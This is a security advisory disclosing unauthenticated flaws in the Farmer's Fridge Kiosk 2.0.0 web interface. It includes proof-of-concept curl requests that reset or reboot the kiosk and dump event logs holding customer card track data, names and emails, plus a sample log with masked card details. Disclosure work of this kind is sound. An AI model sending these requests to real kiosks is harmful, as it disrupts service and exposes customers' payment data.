Farmer's Fridge Kiosk 2.0.0 Information Disclosure

Farmer's Fridge Kiosk version 2.0.0 suffers from an unprotected event log information disclosure vulnerability as well as unauthenticated request issues.


MD5 | 9f1f64b955498e04130218c84e6d0139


Farmer's Fridge Kiosk 2.0.0 Unprotected Event Log Information Disclosure


Vendor: Farmer's Fridge
Product web page: http://www.farmersfridge.com
Affected version: 2.0.0

Summary: Donat think of the Farmeras Fridge kiosk as a vending machine.
Itas a veggie machine. And just as each salad is a culinary thing of
beauty, the kiosk is a work of art in its own right. Made from reclaimed
wood (provided by Modern Urban Woods of West Chicago) and even some
recycled materials, each one is unique and user-friendly.

Desc: The kiosk vending machine suffers from personally identifiable
information (PII) disclosure vulnerability. By default, the firmware
listens on port 9000/tcp as cslistener service using the Play Framework
to present some basic information about the system when visiting the
interface. The interface is accessed without any authentication system
in place. When visited, some server information is disclosed by default
and some XML pages for various config and supply information are disclosed,
including the ability to reset or reboot the kiosk. One of those options
is to show an 'event' type log history page containting various status
of temperatures, supply count and transaction details. An attacker can
increase the number for the 'days' GET parameter to disclose even more
data back in history.

When visiting the root page of the interface the following kiosk information
is disclosed:

Version: 2.0.0
Server: PhysicalServer
Config: {id=NAME_OF_COMPANY hostname=HOSTNAME location=STREET_ADDRESS, STATE, ZIP serialNumber=serial ip=REMOTE_ADDRESS_OF_KIOSK serialPort=ttyS1 isProd=true useMock=false messageQueue=/usr/share/kiosk-node/conf/queues planogramName=NAME_OF_COMPANY groups=List(KioskGroup(ALL)),route=None}
Diagnostics: tools version VIPETL00, temp expiry disabled

When visiting the events page information, the following log history is
disclosed in plain-text:

- Date, time and location of the transaction made
- Authorization status on swipe
- Credit card number + CVV
- Name and surname on credit card
- Personal e-mail account
- What was bought and how much it costs


Tested on: PhysicalServer
nginx/1.6.2
Ubuntu


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2017-5399
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5399.php


01.03.2017

--


PoC requests:

Unauthorized/Unauthenticated DoS reset request:
-----------------------------------------------

- curl http://TARGET:9000/kiosk/reset


Unauthorized/Unauthenticated DoS reboot request:
------------------------------------------------

- curl http://TARGET:9000/kiosk/reboot


Unauthorized/Unauthenticated show event request and response:
-------------------------------------------------------------

- curl http://TARGET:9000/show/events\?days\=1337

Sample response:

COMPANY_NAME, 2017-03-25T12:05:11.183004301Z-0500[America/Chicago], Temperature, STATUS_FF_TEMP_OBSERVATION_OK, +37.4F
COMPANY_NAME, 2017-03-25T12:00:11.173004300Z-0500[America/Chicago], Temperature, STATUS_FF_TEMP_OBSERVATION_OK, +37.4F
COMPANY_NAME, 2017-03-25T11:55:11.207004299Z-0500[America/Chicago], Temperature, STATUS_FF_TEMP_OBSERVATION_OK, +40.1F
COMPANY_NAME, 2017-03-25T11:50:11.184004298Z-0500[America/Chicago], Temperature, STATUS_FF_TEMP_OBSERVATION_OK, +40.1F
COMPANY_NAME, 2017-03-25T15:50:09.839003295Z-0600[America/Chicago], AuthCaptureNeeded, 2017-03-25T15:49:51.256003292Z-0600[America/Chicago], 1.28, %B4147*REMOVED*4439^DOE/JOHN ^2010201000000000016081818901000?, ;4147*REMOVED*4439=201020116081818901?
COMPANY_NAME, 2017-03-25T15:50:09.817003294Z-0600[America/Chicago], VendItem, STATUS_0_READY, LaCroix Lime, Drinks, 5, 1, 2, 2, 2017-03-25T15:49:51.288003293Z-0600[America/Chicago]
COMPANY_NAME, 2017-03-25T15:49:51.288003293Z-0600[America/Chicago], VendTransaction, OK, 2017-03-25T15:49:51.256003292Z-0600[America/Chicago]
COMPANY_NAME, 2017-03-25T15:49:51.256003292Z-0600[America/Chicago], Authorization, FAILED TO AUTHORIZE: no network + null, 2017-03-25T15:49:51.234003291Z-0600[America/Chicago], 1.28
COMPANY_NAME, 2017-03-25T15:49:51.234003291Z-0600[America/Chicago], Swipe, OK, 2017-03-25T15:49:49.415003290Z-0600[America/Chicago], DOE/JOHN, 4439
COMPANY_NAME, 2017-03-25T15:49:49.415003290Z-0600[America/Chicago], Checkout, 1.28
COMPANY_NAME, 2017-03-25T14:54:40.745003289Z-0600[America/Chicago], Capture, STILL NEED TO CAPTURE: auth result was + FAILED TO AUTHORIZE: no network + null, 2017-03-25T14:54:22.213003286Z-0600[America/Chicago], 1.28
COMPANY_NAME, 2017-03-24T08:56:43.591003488Z-0500[America/Chicago], Temperature, STATUS_FF_TEMP_OBSERVATION_OK, +39.2F
COMPANY_NAME, 2017-03-24T08:55:52.256003487Z-0500[America/Chicago], Purchase, 2017-03-24T08:55:52.155003486Z-0500[America/Chicago], $8.00|1|North Napa Salad;$2.00|1|Seasoned Chicken;$6.00|1|Greek Yogurt Granola, DOE/JANE, [email protected]_NAME.com, , 16.36, 0.36, 0.0, 0.0, 2575
COMPANY_NAME, 2017-03-24T08:55:52.155003486Z-0500[America/Chicago], Capture, CAPTURED, 2017-03-24T08:54:53.269003482Z-0500[America/Chicago], 16.36
COMPANY_NAME, 2017-03-24T08:55:51.113003485Z-0500[America/Chicago], VendItem, STATUS_0_READY, Greek Yogurt Granola, Snacks, 3, 3, 4, 6, 2017-03-24T08:54:53.269003482Z-0500[America/Chicago]
COMPANY_NAME, 2017-03-24T08:55:30.335003484Z-0500[America/Chicago], VendItem, STATUS_0_READY, Seasoned Chicken, Proteins, 7, 0, 0, 0, 2017-03-24T08:54:53.269003482Z-0500[America/Chicago]
COMPANY_NAME, 2017-03-24T08:55:14.056003483Z-0500[America/Chicago], VendItem, STATUS_0_READY, North Napa Salad, Salads, 1, 1, 6, 2, 2017-03-24T08:54:53.269003482Z-0500[America/Chicago]
COMPANY_NAME, 2017-03-24T08:54:53.269003482Z-0500[America/Chicago], VendTransaction, OK, 2017-03-24T08:54:53.248003481Z-0500[America/Chicago]
COMPANY_NAME, 2017-03-24T08:54:53.248003481Z-0500[America/Chicago], Authorization, AUTHORIZED, 2017-03-24T08:54:51.794003480Z-0500[America/Chicago], 16.36
COMPANY_NAME, 2017-03-24T08:54:51.794003480Z-0500[America/Chicago], Swipe, OK, 2017-03-24T08:54:47.676003479Z-0500[America/Chicago], DOE/JANE, 2575
COMPANY_NAME, 2017-03-24T08:54:47.676003479Z-0500[America/Chicago], Checkout, 16.36

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